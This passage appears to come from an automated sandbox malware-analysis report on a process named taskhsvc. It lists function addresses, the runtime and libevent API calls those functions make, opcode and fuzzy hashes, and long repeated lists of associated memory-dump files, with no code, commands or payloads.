                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$abortexitmalloc
                                                                                                                          • String ID: @
                                                                                                                          • API String ID: 797983458-2766056989
                                                                                                                          • Opcode ID: 4106a9ded60b4dbb02d65fdab963016f0940013e70e02413235ef984bba13827
                                                                                                                          • Instruction ID: e6a2421b61ccf173a92ca2b0cdac6bd9766dcd980daed6ea8c4911c1942b7131
                                                                                                                          • Opcode Fuzzy Hash: 4106a9ded60b4dbb02d65fdab963016f0940013e70e02413235ef984bba13827
                                                                                                                          • Instruction Fuzzy Hash: BB110DB49043169FDB00EFA1C5452AEBBF1BF44344F01D818E4A8AB241D7B89985CFA2
                                                                                                                          Function 00D413EE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00D4143E
                                                                                                                          • _strdup.MSVCRT ref: 00D41449
                                                                                                                          • exit.MSVCRT ref: 00D4148A
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D4149D
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$strrchr$_strdupabortexit
                                                                                                                          • String ID: @
                                                                                                                          • API String ID: 2722030861-2766056989
                                                                                                                          • Opcode ID: d7fc8b1e1e2bdfdd7f664b6f119b791d00b3b7b5c8bd6b7f641b89426d5a2b54
                                                                                                                          • Instruction ID: 0e38488849f5f46fa25a6e98a798b4e2c52460215c5a758a5f17c90cb7d5ede5
                                                                                                                          • Opcode Fuzzy Hash: d7fc8b1e1e2bdfdd7f664b6f119b791d00b3b7b5c8bd6b7f641b89426d5a2b54
                                                                                                                          • Instruction Fuzzy Hash: CA112AB49083159FCB00FF61C4452AEBBF4BF84354F019818E498AB241D7B8DA85CFA2
                                                                                                                          Function 00E0C5D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • evutil_secure_rng_init.LIBEVENT-2-0-5 ref: 00E0C5F5
                                                                                                                          • evutil_secure_rng_add_bytes.LIBEVENT-2-0-5 ref: 00E0C62F
                                                                                                                          • evutil_secure_rng_get_bytes.LIBEVENT-2-0-5 ref: 00E0C645
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00E0C65B
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failevutil_secure_rng_add_bytesevutil_secure_rng_get_bytesevutil_secure_rng_init
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 992357759-3916222277
                                                                                                                          • Opcode ID: 6a5421eccf4722bf9a0d4a26542ef5a9a576b98a928beaf5f4fbbc7d3d496db8
                                                                                                                          • Instruction ID: 4b1d5f3a69cf84b0999bd410c561d0b52feaa09386ee1f9281f5b9695f770d7e
                                                                                                                          • Opcode Fuzzy Hash: 6a5421eccf4722bf9a0d4a26542ef5a9a576b98a928beaf5f4fbbc7d3d496db8
                                                                                                                          • Instruction Fuzzy Hash: 470169709007088BCB10EF64C8457CDFBF4AB49304F409A99A898A7280E7B49AC58F92
                                                                                                                          Function 00C37DBA Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 176COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00C37E7F
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C38076
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort
                                                                                                                          • String ID: (]$xB
                                                                                                                          • API String ID: 646538096-2692276372
                                                                                                                          • Opcode ID: 22b1c302ae8d9be4b2ae7a5741f70be5c3cc53746d7e71e39c4f069a561fec56
                                                                                                                          • Instruction ID: 732fe593b7bd696b0c0a3bda0acdaf9b0aefb5c7701d58edf191948b1221bc08
                                                                                                                          • Opcode Fuzzy Hash: 22b1c302ae8d9be4b2ae7a5741f70be5c3cc53746d7e71e39c4f069a561fec56
                                                                                                                          • Instruction Fuzzy Hash: E381D4B4A143068FCB00DFA9C585BAEBBF0BF48304F158859E494AB351D778DA48DF62
                                                                                                                          Function 00C43D44 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 105COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C43EFD
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00C43D94
                                                                                                                            • Part of subcall function 00C43C99: free.MSVCRT ref: 00C43D25
                                                                                                                            • Part of subcall function 00C43C99: __stack_chk_fail.LIBSSP-0 ref: 00C43D3D
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
